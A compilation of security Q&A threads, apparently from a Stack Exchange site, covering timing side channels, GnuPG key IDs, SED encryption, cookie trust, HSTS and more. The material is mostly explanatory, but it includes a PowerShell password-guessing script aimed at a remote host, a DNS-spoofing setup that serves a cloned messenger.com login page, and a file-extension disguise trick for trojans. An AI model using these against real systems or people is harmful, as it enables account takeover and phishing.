A deep link is similar to opening a URL with an application in other operating systems. You can run firefox https://example.com to open that URL in your browser, and applications can tell the operating system that they can handle certain protocols (such as myapp://some/place).

In Android, the way to tell the operating system what your app can handle, is by using the AndroidManifest.xml file. This is explained in the documentation:
https://developer.android.com/training/app-links/deep-linking

To extract that file from an APK (Android Package), you used to be able to just unzip your.apk. These days, that will still work, but the XML is transformed into a binary format, so you need special tools to extract it. Most commonly, one would use apktool or aapt.

Taking F-Droid as example (I know it can open f-droid.org links):

$ wget https://f-droid.org/f-droid.apk
$ apktool d f-droid.apk
$ cd f-droid
$ cat AndroidManifest.xml
[...]
        <intent-filter android:autoVerify="true">
            <action android:name="android.intent.action.VIEW"/>
            <category android:name="android.intent.category.DEFAULT"/>
            <category android:name="android.intent.category.BROWSABLE"/>
            <data android:scheme="https"/>
            <data android:host="f-droid.org"/>
            <data android:host="www.f-droid.org"/>
            <data android:host="staging.f-droid.org"/>
            <data android:pathPrefix="/app/"/>
            <data android:pathPrefix="/packages/"/>
            <data android:pathPrefix="/repository/browse"/>
            <data android:pathPattern="/.*/packages/.*"/>
            <data android:pathPattern="/.*/packages/.*/"/>
        </intent-filter>
[...]
        <intent-filter>
            <action android:name="android.intent.action.VIEW"/>
            <category android:name="android.intent.category.DEFAULT"/>
            <category android:name="android.intent.category.BROWSABLE"/>
            <data android:scheme="http"/>
            <data android:scheme="https"/>
            <data android:host="play.google.com"/>
            <data android:path="/store/apps/details"/>
        </intent-filter>
[...]

We see that f-droid will open https://f-droid.org, https://www.f-droid.org, https://staging.fdroid.org, but a little further down we also find that it can also handle Google Play Store URLs. There are some more, but I'll leave those as an exercise to the reader :-). Look for the <data ... tags.


Online payment integration requires handling my bank credentials. Why? When doing a payment integration what would be the reasons the payment gateway would require your bank credentials instead of redirecting the client to his or her bank website?

The context of my question can be found on the Personal Finance & Money where I asked something different but regarding the same payment solution, i.e. Trustly.

With this payment solution you need to add your bank credentials on someone else's site (not your bank's). I was reluctant to do so, researched the site, asked that question as reassurance, even changed my home banking password afterwards. So my question is not about trust here (I kind of figured out they can be trusted although I still have a trust issue with it), it is about reasons why one might chose to do an integration like this.

Are there any benefits (technological, user experience, business reasons, others?) to do an online payment integration by asking users to login to their bank account inside your application?

Basically there must be technical reasons or business reasons Trustly doesn't support the pass-through transaction approval you're accustomed to.  Instead of asking their users to take action and passing them onto their bank to do so, Trustly prefers to automate this process and needs your credentials to act on behalf of you.  I won't say this isn't unusual, but it certainly isn't limited to Trustly.  Other financial organizations like Mint and Honeydue have used a similar model of requiring their customers' credentials for years.

There are technical alternatives that wouldn't require you to provide your credentials to Trustly, but like I said, there may be reasons they've chosen or been forced not to use them.  There's not a universal standard in banking for authorizing one party to act on your behalf with regards to querying account details or making transactions.  In fact, the EU has introduced a new standard (PSD2) to try to fix this compatibility issue and do away with the 'screen scraping' approach likely used by Trustly and others as a workaround.  If you want to read in greater detail about this change then you can start with this article: https://openbankinghub.com/screen-scraping-101-who-what-where-when-f83c7bd96712

Maybe the other organizations you've dealt with have been able to set up specific gateways for sharing data or transactions with partners, which is why they could redirect you instead of prompting you for your credentials.

Hopefully the USA or other countries still lagging behind will follow the example and push for standardization so trusting your credentials to third-parties is no longer needed.


How can I prevent side-channel attacks against authentication? After reading this excellent answer, I learned about the existence of side-channel attacks.

From the code example provided, it is possible to determine the correct password by timing the code when given various inputs.

for (i = 0; i < n; i++) {
  if (password[i] != input[i]) {
    return EFAIL;
  }
}

What can I do to ensure that my code is not vulnerable to such timing attacks?  I have purposely left this open-ended to allow answers to provide examples and best practices for a variety of common software configurations.

From the code example provided, it is possible to determine the correct password by timing the code when given various inputs.

First, you shouldn't actually examine the password directly!  At the very least, you should hash the password with a password hash like Argon2id first, and compare the password hash of the input with the password hash you stored during user registration (or when the user last changed their password).

Even better, you should use a password-authenticated key agreement protocol like OPAQUE, but these may be beyond your pay grade at the moment until they see more widespread adoption and implementation.

  What can I do to ensure that my code is not vulnerable to such timing attacks?

The best way to start is to use a library routine or primitive that someone else has already written and has a reason to maintain.  For example, in NaCl/libsodium, you can use crypto_verify_32 to compare two 32-byte strings, like two Argon2id hashes, or two HMAC-SHA256 message authentication codes.  Then the effort to answer this question can be focused on a single place that will get a lot of attention and scrutiny and will keep up with advances.

But let's say you don't have crypto_verify_32, or you want to impleent it yourself.  What can you do?

To start, you need to understand what operations have side channels.  It's tempting to say—as other answers did—that the side channel arises only because of an early
abort.  But that's not the whole story.  In general, there are many operations  (here written in C for illustration) that may take an amount of time which depends on the values of the inputs—we call these operations variable-time operations, in contrast to constant-time*:

for (i = 0; i < n; i++) if (x[i] == y[i]) return EFAIL; obviously takes fewer loop iterations so it is practically guaranteed to run in variable time depending on the secret values of x[i] and y[i].
A mere secret-dependent conditional for (i = 0; i < n; i++) if (x[i]) bad++;, if x[i] is secret, may run in variable time too even if the loop doesn't abort early.  Why?

Here's a coarse approximation.  The machine instructions that the CPU may execute look something like this:

0:      tmp := x[i]
        branch to 1 if tmp is zero
        bad := bad + 1
1:      i := i + 1
        branch to 0 if i < n

The number of instructions executed depends on what the value of x[i] is at each iteration: we skip bad := bad + 1 on some iterations.  This is a good model for how early timing attacks on, e.g., RSA worked as in Kocher's seminal paper on timing attacks: the main modular exponentiation loop computes a (say) 2048-bit modular squaring unconditionally, but computes a 2048-bit modular multiplication conditionally depending on the value of the secret exponent.  Skipping the multiplication substantially changes the time taken by the whole operation.
There's another reason, though, and it has to do with branch prediction, a key design element in what makes modern CPUs run so fast on many workloads—even if you write the same amount of code (say, same number of machine instructions, and somehow you guarantee that they take the same number of cycles to compute) in each branch of a conditional, the time it takes to execute may depend on which way the condition went.
In general, CPUs are bad at keeping which instructions got executed secret, so don't make the choice of instructions depend on secrets.

Table/array lookups might take a different amount of time depending on what memory has been cached in the CPU cache.  Consequently, if the location in the array that you're reading from depends on a secret, the time it takes might depend on the secret, which has been exploited to recover AES keys by cache timing.

(This makes AES a rather questionable design in retrospect, with its intentional use of key-dependent table lookups!  NIST's published rationale (§3.6.2, Attacks on Implementations: The Role of Operations) curiously claims table lookups are ‘not vulnerable to timing attacks’ despite the numerous such attacks that have been reported since then.)
Variable-distance shifting like x = y << z may take more time on some CPUs if z is larger and less time if it is smaller.

(This makes RC5 and the AES finalist RC6 rather questionable design in retrospect, with their intentional use of key-dependent rotation distances!)
On some CPUs, multiplication may run faster or slower depending on whether the upper half of the inputs is zero or not.
64-bit integer addition on 32-bit CPUs in principle might take more time depending on whether there is a carry.  This is because, when x, y, and z, are 64-bit integers, the logic x = y + z might look something more like:

int carry = 0;
x[0] = y[0] + z[0];
if (the previous addition overflowed)
  carry = 1;
x[1] = y[1] + z[1] + carry;

Consequently, the time it takes may depend on whether there is a carry from the sum of the low 32-bit halves to the sum of the high 32-bit halves.  (In practice, this is usually only a concern on exotic CPUs or for other types of side channels like power analysis that are relevant more to smart cards than to laptops and phones.)

This might sound a little overwhelming.  What can we do?

There are some operations that generally do run in constant time on most CPUs.  They are:

Bitwise operations: x & y, x | y, x ^ y, ~x, and other ones that don't appear in C like AND-with-complement.
Constant-distance shifts and rotations like the shift x << 3 or the rotationx <<< 3 (not standard C but common in cryptography; it means (x << 3) | (x >> (32 - 3)), if x is 32-bit).
Often integer addition and subtration: x + y, x - y, when x and y are (say) unsigned 32-bit integers on a 32-bit CPU, and often even 64-bit integers on a 32-bit CPU with the help of ADD-with-carry instructions.
Sometimes integer multiplication, but the story about multiplication is complicated, which is unfortunate for cryptography because multiplication mixes bits around quite nicely and has useful algebraic properties.

To be clear: I do not mean that a C compiler guarantees these operations run in constant-time if you use them in a C program; I am merely using C notation for the operations that CPUs generally execute in constant time.  (More on this caveat in a moment.)

‘But wait,’ you protest, ‘how can I possibly write a useful program out of these operations?  No conditionals?  No loops?  No arrays?’

First, you don't have to eschew conditionals, loops, or arrays altogether.  They just can't depend on secrets.  For example, for (i = 0; i < 32; i++) ... x[i] ... is fine.  But for (i = 0; i < m[0]; i++) ... is not fine if m[0] is supposed to be secret, and for (i = 0; i < m[0]; i++) ... tab[x[i]] ... is not fine if x[i] is supposed to be secret.

Second, you can still build these things!  It's just a little trickier.  For example, suppose b is a uint32_t that is either 0 or 1.  Then b - 1 is either -1 = 0xffffffff or 0, respectively, so

x = ((b - 1) & z) | (~(b - 1) & y);

causes x = y if b is 1, or x = z if b is 0—much like x = (b ? y : z), but without a branch.  Obviously, this requires computing both y and z, so there is some performance impact!  Similarly, you can look up an element of a table by looking up all elements of the table and selecting the one you want with bitwise operations like this.  Not as fast as x[i], but not as leaky either.

In general, you can convert a program with conditionals into a logic circuit with no conditionals, even if you don't want to for performance reasons.  There are various other similar tricks you can do.  You might draft a constant-time memory equality routine such as crypto_verify_32 like this, assuming x and y are uint8_t arrays:

uint32_t result = 0;
for (i = 0; i < 32; i++)
  result |= x[i] ^ y[i];
return ((result - 1) >> 8) & 1;

Exercise: Does this return 0 for equal and 1 for inequal, or 0 for inequal and 1 for equal?

Writing programs like this—and adopting cryptosystems such as X25519 that encourage implementations that look like this, instead of cryptosystems such as RSA or AES that encourage implementations involving involve secret-dependent branches or secret-dependent table lookups—is a good start for plugging timing side channels.

But, there's a catch!  Remember when I said that the C compiler doesn't guarantee constant time?  A smart C compiler like Clang/LLVM might recognize that the clever crypto_verify_32 loop above can be executed more efficiently by making it abort early, and might undo the hard work you did to rewrite it as a logic circuit that runs in constant time.  (In other circumstances, it might help you out, for example by converting x = (b ? y : z); into a conditional move instruction, CMOV, without branches, but usually you can't rely on the C compiler's good will.)

There are some tricks you can do to thwart this, like an inline assembly fragment that causes the compiler to drop roughly all assumptions for optimization:

uint32_t result = 0;
for (i = 0; i < 32; i++)
  result |= x[i] ^ y[i];
asm volatile ("" ::: "memory");
return ((result - 1) >> 8) & 1;

This may or may not work with your compiler.  To be confident, you really have to examine the compiler's generated machine code—and even then, a compiler might perform just-in-time optimizations that rewrite the machine code according to profiling analysis, especially in higher-level languages like Java.  So you might really want to write the logic in assembly (or in a programming language like qhasm that can generate the fine-tuned assembly more reliably than a C compiler), and just call it from C.

Maybe some day C compilers will adopt a secret qualifier, like const or volatile, which forces the compiler to generate only machine instructions that are known—in some model of the CPU!—to run in constant time when operating on the object, and prevents the compiler from taking shortcuts like secret-dependent early aborts from a loop.  But that day is not here yet.

There's also a matter of which machine instructions actually run in constant time on a CPU, which is sometimes documented and sometimes reliable.  So in addition to doing engineering to build your programs out of logic circuits, you also need to do science to figure out which operations are actually safe to use on the CPU.

This brings us back to the original point: You really want to focus the effort of maintaining this into a library routine, so that each programmer doesn't have to keep track of vagaries of compilers (and CPU designs!) in generated code and timing on their own, and can instead leave it to our friendly neighborhood bear.

Are there other countermeasures than constant-time logic?  Sometimes, yes.

You could inject random noise into your logic, in the hope that it will confuse the attacker's measurements.  But there's already noise in their measurements, like scheduling in the operating system, so they just have to take more samples—and it turns out noise is not a very effective side channel countermeasure.

Specifically, artificial noise raises the attacker's costs by at most about the square of the ratio of artificial noise to true noise, which is far below what is usually considered an acceptable gap for security in cryptography.  So it mostly costs you a lot of time doing nothing.
You could use algebraic properties of the cryptosystem to randomize it, sometimes called ‘blinding’.  For example, instead of computing y^d mod n where d is a secret exponent in RSA, you could pick r at random, compute s := r^e mod n where e*d ≡ 1 (mod (n)), multiply y by s to get (y * r^e) mod n, compute (y * r^e)^d mod n = (r * y^d) mod n, and then divide off r.

Many implementations, such as OpenSSL, use this approach because it's an easy way to retrofit an existing implementation of a cryptosystem like RSA that has the necessary algebraic structure.  It's not a bad idea like random noise is, but it does have costs: you have to do the extra work for randomization, you have to have modular division or inversion logic—and side channels might still leak information about r and d.  For example, even blinded modular exponentiation will leak the Hamming weight of d unless you take additional countermeasures like adding a random multiple of (n) to d first—which may expose additional side channels, etc.
For the specific case of comparing two byte strings for equality (for example, two message authentication codes), one reasonable option is to hash them with a pseudorandom function family like HMAC-SHA256 under a one-time secret key k, and check whether HMAC-SHA256_k(x) == HMAC-SHA256_k(y).

The probability of a false positive is 1/2256, which is a smaller probability than you ever have to worry about.  You can safely use variable-time equality for the HMAC because if x is not equal to y, then the amount of time even in the naivest byte string equality routine (assuming it doesn't bail out at the first zero byte or something stupid like that!) will be independent of the values of x and y: there's a 255/256 probability it'll stop after one iteration, a 65535/65536 probability after two iterations, etc.

Of course, this really helps only if you can implement HMAC-SHA256 in constant time!  Fortunately SHA-256 is designed to be easily implemented as a constant-time logic circuit, so C implementations tend to be reasonably resistant to side channels—but, say, Python will get you into trouble because of the small integer cache if nothing else.

* The terminology is unfortunately a little confusing.  Here constant-time means that the amount of time does not vary depending on inputs, and is not the same as the asymptotic notion of ‘constant-time’ in computer science, often written O(1), which just means the amount of time may vary depending on inputs but is bounded by a constant.  I'm sorry.  I didn't invent the terminology.  I might have chosen ‘fixed-time’ vs. ‘variable-time’ but it's too late now—‘constant-time’ is entrenched in the literature.


Why does Windows allow non-parent processes to read/write the memory of a process? I recently learned that in Windows a process is generally allowed to alter the the memory of another process as long as it is running under the same user. I tried running the following code with various pids:

#include <iostream>
#include <processthreadsapi.h>
#include <errhandlingapi.h>

int main()
{
    HANDLE handle = OpenProcess(PROCESS_VM_READ|PROCESS_VM_WRITE|PROCESS_VM_OPERATION|PROCESS_QUERY_INFORMATION, FALSE, 1232);

    if (handle == NULL)
        std::cout << "DENIED " << GetLastError() << "\n";
    else
        std::cout << "ALLOWED\n";

    return 0;
}

I noticed that for the most part I was granted access to processes that were running as my own user. Processes running as System or Admin were denied access.

In contrast I found out that in Linux one needs to generally use ptrace to attach to another process for reading from and writing to its memory. However, by default only parents are allowed to attach to a child process.

Is there any reason Windows does not enforce a similar constraint where only a process that spawned another would have access to its memory?

The Windows (and, for that matter, Linux) security model generally holds that everything a user (in the "login account" sense) does is done at the same trust level. In other words, any two processes running with an identical security token are trusted exactly the same amount. If one process can access its own memory (which of course it can), so can the other.

If an attacker has arbitrary code execution on your account, it's already game over. Even if you don't let them access the memory of current processes, they can launch processes themselves under a debugger, overwrite scripts/libraries/executables stored in user-writable locations (such as your login/shell resource scripts), read or write all the data that a program running as you would have access to, and so on. In other words, there's very little value in creating a security boundary between a user's processes.

Now consider the advantages of not doing so. You don't need to be admin/root to debug a running process, which might be in a weird state that would be hard to re-create. You can write tools that modify or extend the functionality of programs installed in non-user-writable locations (this is heavily used in game modding, for example). Basically, you - the user - have more control over the software running on your session, and you can do it without needing elevated privileges. The only cost is that there are a few new ways that somebody an attacker running code as you can hurt you, and at that point, they don't really need any more.

Windows' Process objects do have ACLs, which can be used to do things like give another user access to your process' memory or allow certain access (such as the ability to tell when the process exits) without other access (such as the ability to write to the memory). You could also restrict the access to a process from its own user - the same way you can restrict access to a file you own - but the owner of any object can overwrite its ACL so another process also running as you could just overwrite that restriction (again, like marking a file you own "read-only").

In general, if you want to ensure other processes cannot tamper with a process you launched, you need to launch it as another user. There's a few ways to do this, such as CreateProcessWithLogon or creating a Windows Service. The Win32 API does not provide an equivalent of the "setuid" bit on a file, but a privileged service account can emulate that behavior. If you want to restrict what an app can do, you can easily create a low-privilege version of your own security token with CreateRestrictedToken and then create a sandboxed process using it (an open-source example of this is the Chrome sandbox on Windows).


Short OpenPGP key IDs are insecure, how to configure GnuPG to use long key IDs instead? Short OpenPGP key IDs (with 32 bits / 8 hex characters) are subject to collision attacks. It is strongly recommended to stop using 32 bit IDs:

Stop using 32bit key ids
It takes 4 seconds to generate a colliding 32bit key id on a GPU (using scallion). Key servers do little verification of uploaded keys and allow keys with colliding 32bit ids. Further, GPG uses 32bit key ids throughout its interface and does not warn you when an operation might apply to multiple keys.

But how do I tell GnuPG to use long IDs (with 64 bits, or 16 hex characters)?

How the Fingerprint and Long and Short Key IDs are Related

Each OpenPGP key has a fingerprint attached, calculated mainly from its public key packet which also contains the creation time. The calculation is defined in RFC 4880, OpenPGP, 12.2. Key IDs and Fingerprints.

There are short and long key IDs, which resemble the lower 32 respective 64 bits of the fingerprint. For example, looking at the IDs of my OpenPGP key:

fingerprint: 0D69 E11F 12BD BA07 7B37  26AB 4E1F 799A A4FF 2279
long id:                                    4E1F 799A A4FF 2279
short id:                                             A4FF 2279

Fingerprints and key IDs are used, as sharing and comparing a whole key with usually 1024 to 8096 bits (adding some more for headers like the creation date) is very impractical.

Using Long Key IDs

Whenever specifying OpenPGP keys, you can not only pass short key IDs, but also long key IDs and even whole fingerprints. Instead of passing the short key ID

gpg --recv-keys A4FF2279

you can always write the long key ID

gpg --recv-keys 4E1F799AA4FF2279

or even the full fingerprint (recommended for scripting and similar purpose)

gpg --recv-keys 0D69E11F12BDBA077B3726AB4E1F799AA4FF2279

Printing Long Key IDs

But where to take the long key ID from? If anybody passed his short ID, you cannot do anything but trying to fetch all keys for that ID, and see if there is a collision (and hope nobody is hiding the real key from you, and only passing the faked one).

So whenever handing over your OpenPGP key ID, announce the long ID! You can easily make GnuPG printing this one by adding the --keyid-format long option:

gpg --keyid-format long --list-keys email@jenserat.de

This option takes values short or 0xshort for short key IDs (without or with 0x prefixed to indicate that it is a hex number) and long or 0xlong for long key IDs.

Configurating Long Key IDs as Default

To make sure GnuPG is always printing the long key ID, add the option to your ~/.gnupg/gpg.conf file stripping the --. For example, I have configured GnuPG to always print the 0x-prefixed long key ID by adding a line

keyid-format 0xlong

Printing the Fingerprint

Sadly, you cannot set GnuPG to print the whole fingerprint this way, probably because it would break GnuPG's output format for pretty much every screen size. Instead, request it by running

gpg --fingerprint 4E1F799AA4FF2279

which will dump something like

pub   8192R/0x4E1F799AA4FF2279 2012-12-25
      Key fingerprint = 0D69 E11F 12BD BA07 7B37  26AB 4E1F 799A A4FF 2279

As this has the disadvantage of containing spaces (bad thing for using it in scripting), you could use the colon-delimited machine-readable output instead:

gpg --with-colons --fingerprint 4E1F799AA4FF2279

To filter everything but the fingerprint, additionally use grep and cut:

gpg --with-colons --fingerprint 4E1F799AA4FF2279 | grep fpr | cut -d ':' -f 10


What forms does trojans take? I'll try and pose this question as simply as possible.

I would like to know which forms a trojan can take.

Does it need to be an .exe file?
Can it be a hidden file attached to an .mp3 file for example, and when that .mp3 file is launched, it also executes the trojan?
Can it be embedded into the software code we downloaded, and once we execute the software it installes the software, but with a hidden backdoor?
Other?

Hope this is clear. If there is any confusion with the questions, please let me know.

First, we should look at what the name "Trojan" actually means:

In a 10 years long war between the Greeks and the city of Troy, the Greeks built a wooden horse and offered it as a gift to the city (or simply left the horse outside of the city while pretending to sail away - stories differ sometimes).

The inhabitants of the city pulled the horse inside, where nothing happened until the night. The horse actually contained soldiers, that slipped out, opened the gate to the returned sailors and murdered everyone inside the city of Troy, thus winning the decade long siege.

Therefore the metaphor for a "trojan horse" when it comes to computer security means "something that looks innocent, you put it into your computer where it stays dormant for some time until it activates something bad for its host".

Today, most trojans dont look like horses anymore, but can take totally different forms.

1) No, they dont need to be .exe-files only. They can be .bat (batchfiles) as well, MP3s and several different other formats. Especially on Windows-Systems the user can de-activate the extension to show up, so a attacker can name its trojan "InnocentWordFile.docx               .bat". The user will usually only see the first part and not the .bat-part.

The "shell" does not matter, the important part is "something, that has something else hidden inside".

2) I am unaware of a MP3-trojan. There might be vulnerabilities in certain players, but there is a better way of creating a MP3-trojan. Simply look at point 1): "MyHottestMixtape.mp3           .exe". When the user clicks this file, the trojan starts a player (either its own or a system player), plays the music while it does something else in the background.

3) Yes, because that is the definition of a trojan: It looks innocent from the outside, but contains something malicious on the inside. So code / software you load from a untrusty site might contain trojans.

4) I bet there are forms for a trojan that I am not having in my mind at the moment. In general you should install software from a trusted source (dont download .apk-files from "somewhere" for your Android-phone but from the Google-Play-Store) and have a virus-scanner handy.

You also can use virtual machines / sandboxes in order to test new software without infecting your machine.

But be aware, the time that a trojan takes to do something noticably can be large!


What is LS0... encoding of a PKI certificate? I am looking through a set of PKI certificates and key strings that are specified in a kubernetes yaml file. They are used for testing. Some of the strings are keyed (as in yaml key-value) as crt.pem. All of the strings have the following form:
LS0...
The typical encoding that I have seen for .pem files is ASCII base64 and begins with -----BEGIN CERTIFICATE-----.
Does someone know what this encoding is?
Edit: grammar & phrasing

I would suggest that this is just base64 encoded PEM:
$ echo "-----BEGIN CERTIFICATE-----" | base64
LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCg==

$ echo "-----BEGIN CERTIFICATE-----" | base64 | cut -c-3
LS0


What are the potential vulnerabilities of sending HTML/JS to the browser from the database? An in-house team is creating a new framework and I'm not so sure it's as secure as they're letting on. I'm not super well versed in security so I wanted to ask for opinions.

A demo web app was created for us to get familiar with the layout. I don't have access to the source code yet, however when I viewed the network requests I saw HTML and JavaScript code being sent to the browser from the database. Among the code is a bunch of script tags that are being inserted and executed. The response is being placed into the DOM with jQuery.load() and no other means of validation or sanitizing on the browser. This is happening with almost every request that goes to the database.

Are there any kind of attacks that can come from this?

Unless your demo web application connects directly to the database using some sort of client side code (which it is very unlikely and nothing in your question suggests that), what you are seeing is probably just regular browser to web server traffic (i.e. not the database), which will certainly include plenty of HTML and JavaScript. This is how it's meant to work.


Enabling SED for SSD and data remanence I have an SSD that can do self-encryption, but the encryption was not activated. The SSD has data on it, and now I want to enable the self-encryption functionality, preferably doing it in-place. I want to know what will happen to the data on the drive.

From this Archlinux article on SED:

  In fact, in drives featuring FDE, data is always encrypted with the DEK when stored to disk, even if there is no password set (e.g. a new drive). [...] This can be thought of as all drives by default having a zero-length password that transparently encrypts/decrypts the data always (similar to how passwordless ssh keys provide (somewhat) secure access without user intervention).

It seems from the above paragraph that even without setting a password or enabling the encryption feature of the drive, the data would still be encrypted with the drive's DEK (albeit without an AK). By setting a password, I'm only changing the encryption to the DEK and therefore, the old data, even if it stays around due to wear-leveling, is encrypted and there's no threat of leakage. Is this interpretation correct? Or is the only way to avoid data remanence in this case is to do a secure erase prior to enabling encryption?

Yes, your interpretation is correct.

Now, if you suspect that the drive might have been compromised while it was not password protected, you could do a secure erase, which essentially means generating a new DEK, rendering all the previous data unreadable.
By "compromised" I mean that the DEK, not being encrypted by a password, was somehow extracted from the drive, and the attacker could use it later to decrypt the drive's contents even after you set a password (store the DEK encrypted on the drive, but still use the same DEK). This kind of attack might not be easy, as you can imagine.

So depending on the sensitivity of the data, and the trustworthiness of the drive, you should choose whether to just set an encryption password ("do it in-place") or do a secure erase (generate new DEK), set a password (encrypt the DEK), and then copy over your data from a backup.


When using AES and CBC, can the IV be a hash of the plaintext? [Originally on programmers.stackexchange.com with title: Can you encrypt with AES+CBC and search the encrypted data]

Basically, I'm going to go with Advanced Encryption Standard with either Cipher-Block Chaining mode or Cipher Feedback mode or Output Feedback mode (I haven't decided yet). Each mode requires an initialization vector. The thing is that I want to make the encrypted string "searchable" like this:

Suppose I have a list of database tables together with a "display name" for each table. Conceptually the list would look like this (I've used {xxx} to mean the encrypted form of xxx, and [IVx] to mean an initialization vector):

ENC_DISPLAY_NAME         | ENC_TABLE_NAME
------------------------ | -----------------
[IV1]{John's table}      | [IV2]{TABLE_3574}
[IV3]{Eric's list}       | [IV4]{TABLE_3100}
                         |
[IV5]{Darren's projects} | [IV6]{TABLE_2823}
[IV7]{Paul's contacts}   | [IV8]{TABLE_5843}

Now suppose that I want to allow a search on ENC_DISPLAY_NAME. (Equality searches are all that are needed.) I need to have some way of knowing what initialization vector is used on the display name I want to find.

I think that I should compute a 128-bit hash (maybe a CRC) of the display name, and use that as the IV to compute the encrypted string. That is, if I want to store "Darren's projects", I should do something like this:

AESKey key = ...;
String str = "Darren's projects";
CRCType crc = ComputeCRC(str);

BinaryString enc = crc.ToBinaryString ( ).Concat
    (EncryptWithAESandCBC(str, key, (IVType)crc));

INSERT INTO MY_TABLE(ENC_DISPLAY_NAME,ENC_TABLE_NAME) VALUES(enc, ...);

If I want to search for the string instead, do the same steps except the last, and then SELECT * FROM MY_TABLE WHERE ENC_DISPLAY_NAME=enc.

Has this been tried before? Are there any (security) risks?

[Related question: Compute the AES-encryption key given the plaintext and its ciphertext?]

A hash computed over the plaintext would have the right characteristics for an IV, as far as "uniform randomness" is concerned. This is for a cryptographically secure hash function, not a CRC. Rather, something like SHA-256. A CRC is in no way secure enough for cryptography.

However, the IV must be known to whoever will decrypt, so it must be stored along the encrypted message. If the IV is computed with a hash function from the plaintext, then this allows performing a dictionary attack on the plaintext (trying possible plaintext until one which matches the hash is found). Defeating dictionary attacks is already hard enough for passwords, which are meant to be secure and random-looking; so, for something as utterly non-random as a display name, you should really use an IV generated from a properly secure cryptographic random number generator, not a hash computed from the plaintext. It will not change your storage costs, since the IV must be stored anyway, regardless of how you generate it.


ISAKMP and OSI layer I'm trying to find out on which OSI layer the ISAKMP protocol resides on?
It isn't listed under the wiki's list of network protocols, and the internet says it's either on the transport, network or the application layer.

I did find out where it resides on the tcp model, but still, I need to know for the OSI model.

According to this and Wikipedia, the OSI Session Layer is responsible for setting up any kind of conversation/dialogue.

As ISAKMP runs on top of UDP (port 500) and it sets up a secure and authenticated channel for communication, i would say that it is part of OSI Session Layer.


Is it safe to use a 4-digit PIN for Android system encryption? I just encrypted my Android phone using the default menu.
I was asked for a PIN code (4 digits).
Do you think this is a good practice? Is there a limited number of attempts at decrypting the filesystem?

What if an attacker dumps the data and tries every combination from 0000 to 9999? (That should be possible in less than a few seconds).

How secure this is will depend on a number of factors.

Do you have device wipe enabled on incorrect guesses.  Assuming that you have the device set to wipe after 10 incorrect PIN guesses then without any clues and a purely random PIN, an attacker has a 1/1000 shot at guessing it.  Of course most users base PINs on things like dates or years which cuts the keyspace down a bit.
For offline brute-force, it depends on how the encryption is implemented.  If it's purely software (as older android versions are) then obviously there's a risk that if the attacker can dump the filesystem they can brute-force the key. In newer Android devices, there is a hardware element which stores part of the encryption key, making that basic offline attack impractical, without further weaknesses.

In general I'd recommend upping the PIN length to at least 6 numeric characters and don't choose something obvious (like a date of birth).  If you're very concerned about security consider using an alpha-numeric password (although this is generally horrible from a usuability perspective) and / or make sure your device implements the encryption in hardware to reduce the risk of offline attacks.


Is it okay from a security perspective to read foreign (untrusted) cookies in a trusted network? From a security point of view, is it okay to read foreign (untrusted) cookies (from 3rd parties on the Internet) on your internal (trusted) network, or should you only read them within the DMZ areas of your network environment?

The reason I'm asking is because we want to allow people to access our web services from the Internet. The web services will be on our internal network and we want to use F5 BIGIP (or similar) systems to decrypt the HTTPS traffic, read the cookie (for load balancing/routing purposes) and then re-encrypt the traffic, before passing it onto the web server.

Cookies which are sent by the client to your server are just parts of the requests sent by the client to your server, and, as such, should be considered as "potentially hostile" by default. If the client may be an attacker (and it would be quite naive to dismiss this possibility), then anything which the client sends is suspect and could be crafted in order to maximize disruption or do even more evil things. SQL injection attacks, for instance, are a common example of attacks in which the client sends such "bad" requests. Cookies, in that respect, are no different. A cookie is stored on the client side, and the client can alter his cookies as he sees fit.

Since a cookie is meant to be stored "as is" and sent back unaltered (that is, that's what honest clients do), you can include in your cookies a message authentication code: that's a kind of checksum which uses a secret key. This way, your server could verify (by recomputing the checksum on an incoming cookie value) whether the cookie is "genuine", i.e. is a cookie value which was, at some point in time, sent by the server to a client (not necessarily the same client ! If one client can be hostile, two can be hostile as well, and collude). Such a distinction between genuine and crafted cookies can help in protecting your server against hostile cookies; but it won't totally replace care, and, of course, a request contains other elements besides cookies.

Cookies (sent over HTTPS) have security value in another attack scenario: if the client is honest and manages its security properly, then the cookies your server sends to the client will be unaltered during their transit, and will come back untouched, and, moreover, the cookie contents will remain unknown to outsiders (HTTPS relies on SSL/TLS which provides confidentiality and integrity for data in transit). HTTPS protects your server and the client against third parties; it does not protect your server against the client itself.


Test a known list of possible Windows Remote Desktop credentials? I've forgotten my password to my home server.

It's a new Windows 2012R2 VM, I didn't change the maximum password age requirements in Group Policy DC (even tho I know I should have) until it was too late, and now I've forgotten what I changed it to.

However, I know lots of credentials I could try.

Is there a tool or script out there that can run through a list of possible credentials one at a time sent to the VM to be authenticated? Almost like a brute force, but with a much smaller list, like 20-30 login pairs total (possibly capable of interpreting wildcards like ? or *) on Kali linux or PowerShell, or even something else if it exists?

Very much appreciated!

Okay, I tried this earlier with some live systems that had PS Remoting enabled and just banged out a script that seems to manage itself o.k.:

#Pentest-RemotePSCredsList.ps1

$pusername = 'DOMAIN\Username' #possible username (FQDN)
$ppasswords = 'GoodPass','BadPass0','BadPass1','BadPass2' #list of possible passwords array variable
$hostname = 'hostname' #name of target machine, or IP addr

ForEach($p in $ppasswords)
{
  echo Attempting password: $p
  $secpasswd = ConvertTo-SecureString "$p" -AsPlainText -Force
  $mycreds = New-Object System.Management.Automation.PSCredential ($pusername, $secpasswd)
  Enter-PSSession $hostname -Credential $mycreds
  pause
} # end foreach

I was surprised, even if a good command completes first without any errors and after if the others spit out a Access denied error at you, once the whole script is finished you still end up connected in a remote cmdline session. So as long as one of those passwords in your list is good, it should work.

After troubleshooting getting a Access Denied error and not anything else, I fleshed out the password list with about 15 of what I thought were most likely and got one to work right away! :D

Now this is weird because the real answer that solved my problem has nothing to do with the title of my question. It was thanks to everyone else that I just got it. Should I just delete this one entirely?


DNS spoofing protection in Chrome and Firefox I'm using hostapd to setup a wireless access point and dnsmasq as a DNS/DHCP server. I defined in dnsmasq to reply with the IP of the access point (10.0.10.1) when it receives a query for www.messenger.com. Using the setoolkit, I'm hosting on 10.0.10.1:80 a page identical to that of www.messenger.com. When I connect with a smartphone to the access point and browse to www.messenger.com:
If I use Opera or the built-in Xiaomi browser, the attack scenario works out and the browser returns the page hosted on 10.0.10.1:80, and seems like you are on www.messenger.com (except the http).
If I use Chrome or Firefox, it says I should check my Internet access and it's unable to connect.
I suppose this is a security feature against DNS spoofing of these two browsers.
Has anyone any info on how it works? Is it because the response is for a local IP address?

Messenger.com is on the HSTS preload list. This means that it requires a https connection, for all browsers that use the HSTS preload list.
